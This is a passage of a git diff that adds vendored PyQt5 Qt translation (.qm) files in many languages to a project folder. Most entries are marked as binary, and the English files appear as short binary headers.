a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_da.qm new file mode 100644 index 00000000..2c26d75f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_de.qm new file mode 100644 index 00000000..86340861 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_es.qm new file mode 100644 index 00000000..94e3967d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_fr.qm new file mode 100644 index 00000000..b3fa1646 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_gl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_gl.qm new file mode 100644 index 00000000..aef1ab6d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_gl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_hu.qm new file mode 100644 index 00000000..4af61f43 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_it.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_it.qm new file mode 100644 index 00000000..e3bc2521 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_it.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ja.qm new file mode 100644 index 00000000..e64507aa Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ko.qm new file mode 100644 index 00000000..f6b1d13d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_pl.qm new file mode 100644 index 00000000..c2b82b28 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ru.qm new file mode 100644 index 00000000..2a7d88b7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_sk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_sk.qm new file mode 100644 index 00000000..8a4a4476 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_sk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_sl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_sl.qm new file mode 100644 index 00000000..fd122a6d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_sl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_tr.qm new file mode 100644 index 00000000..5483b56b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_uk.qm new file mode 100644 index 00000000..192d28d8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_zh_CN.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_zh_CN.qm new file mode 100644 index 00000000..bbcab15e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_zh_CN.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_zh_TW.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_zh_TW.qm new file mode 100644 index 00000000..394d0df6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_help_zh_TW.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_hu.qm new file mode 100644 index 00000000..c78fe25f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_it.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_it.qm new file mode 100644 index 00000000..215d45e9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_it.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ja.qm new file mode 100644 index 00000000..aa0e9a6f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ko.qm new file mode 100644 index 00000000..8bc348a3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_lt.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_lt.qm new file mode 100644 index 00000000..e9c36fe4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_lt.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_lv.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_lv.qm new file mode 100644 index 00000000..f30e48ab Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_lv.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_pl.qm new file mode 100644 index 00000000..2156928c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_pt.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_pt.qm new file mode 100644 index 00000000..03353ea8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_pt.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ru.qm new file mode 100644 index 00000000..868886a7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sk.qm new file mode 100644 index 00000000..584a8684 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sl.qm new file mode 100644 index 00000000..bc2073b6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sv.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sv.qm new file mode 100644 index 00000000..294ae141 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_sv.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_tr.qm new file mode 100644 index 00000000..c1b953a7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_uk.qm new file mode 100644 index 00000000..cc60d075 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_zh_CN.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_zh_CN.qm new file mode 100644 index 00000000..77ff1441 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_zh_CN.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_zh_TW.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_zh_TW.qm new file mode 100644 index 00000000..c4b24c61 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qt_zh_TW.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ar.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ar.qm new file mode 100644 index 00000000..32861b81 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ar.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_bg.qm new file mode 100644 index 00000000..faeb1676 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ca.qm new file mode 100644 index 00000000..20b751d4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_cs.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_cs.qm new file mode 100644 index 00000000..459ef266 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_cs.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_da.qm new file mode 100644 index 00000000..4ede24b4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_de.qm new file mode 100644 index 00000000..4a4c988e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_es.qm new file mode 100644 index 00000000..1a131578 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_fi.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_fi.qm new file mode 100644 index 00000000..934aecdd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_fi.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_fr.qm new file mode 100644 index 00000000..009fb5a4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_gd.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_gd.qm new file mode 100644 index 00000000..3fe3841c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_gd.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_he.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_he.qm new file mode 100644 index 00000000..95ed0c70 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_he.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_hu.qm new file mode 100644 index 00000000..e4920a63 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_it.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_it.qm new file mode 100644 index 00000000..a0205781 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_it.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ja.qm new file mode 100644 index 00000000..9cf6069e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ko.qm new file mode 100644 index 00000000..20e4661c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_lv.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_lv.qm new file mode 100644 index 00000000..f88a761f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_lv.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_pl.qm new file mode 100644 index 00000000..28d4d8fe Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ru.qm new file mode 100644 index 00000000..c1a22864 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_sk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_sk.qm new file mode 100644 index 00000000..55a377e9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_sk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_tr.qm new file mode 100644 index 00000000..3d289bb4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_uk.qm new file mode 100644 index 00000000..21a30389 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_zh_TW.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_zh_TW.qm new file mode 100644 index 00000000..62052980 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtbase_zh_TW.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_bg.qm new file mode 100644 index 00000000..3771f95b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ca.qm new file mode 100644 index 00000000..6925808f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_da.qm new file mode 100644 index 00000000..5ebf0f86 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_de.qm new file mode 100644 index 00000000..76c1b438 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_es.qm new file mode 100644 index 00000000..b08c44f2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_hu.qm new file mode 100644 index 00000000..ef52500c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ko.qm new file mode 100644 index 00000000..d8a5dace Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_pl.qm new file mode 100644 index 00000000..7682a920 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ru.qm new file mode 100644 index 00000000..0a44d0f2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_tr.qm new file mode 100644 index 00000000..36d3e4b1 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_uk.qm new file mode 100644 index 00000000..d9a2cf39 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtconnectivity_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_bg.qm new file mode 100644 index 00000000..7e49f829 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_da.qm new file mode 100644 index 00000000..0dabc6b3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_de.qm new file mode 100644 index 00000000..ed7bd249 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_es.qm new file mode 100644 index 00000000..da67b7f7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_fi.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_fi.qm new file mode 100644 index 00000000..cdd21cd8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_fi.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_fr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_fr.qm new file mode 100644 index 00000000..22705a63 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_fr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_hu.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_hu.qm new file mode 100644 index 00000000..c554a4fd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_hu.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ja.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ja.qm new file mode 100644 index 00000000..ff73ef1c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ja.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ko.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ko.qm new file mode 100644 index 00000000..0b38a861 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ko.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_lv.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_lv.qm new file mode 100644 index 00000000..7e88b0dc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_lv.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_pl.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_pl.qm new file mode 100644 index 00000000..0fbf88f3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_pl.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ru.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ru.qm new file mode 100644 index 00000000..57b513fc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_ru.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_sk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_sk.qm new file mode 100644 index 00000000..d6d21ad0 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_sk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_tr.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_tr.qm new file mode 100644 index 00000000..57179ea7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_tr.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_uk.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_uk.qm new file mode 100644 index 00000000..4730edd4 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtdeclarative_uk.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_bg.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_bg.qm new file mode 100644 index 00000000..f56e0e06 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_bg.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ca.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ca.qm new file mode 100644 index 00000000..c899fc32 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_ca.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_da.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_da.qm new file mode 100644 index 00000000..b5e932da Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_da.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_de.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_de.qm new file mode 100644 index 00000000..0b431ff8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_de.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_en.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_en.qm new file mode 100644 index 00000000..be651eed --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_en.qm @@ -0,0 +1 @@ +<¸dÊÍ!¿`¡½Ý \ No newline at end of file diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_es.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_es.qm new file mode 100644 index 00000000..2b898a96 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_es.qm differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_fi.qm b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_fi.qm new file mode 100644 index 00000000..950275f7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/translations/qtlocation_fi.qm differ diff --git 